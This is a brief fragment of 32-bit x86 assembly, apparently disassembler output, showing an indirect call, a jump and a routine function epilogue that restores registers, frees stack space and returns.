call ebp
jmp 0x414ac3
mov dword [0xa1c6d4], eax
pop edi
pop esi
pop ebp
xor ax, ax
pop ebx
add esp, 0xc4
ret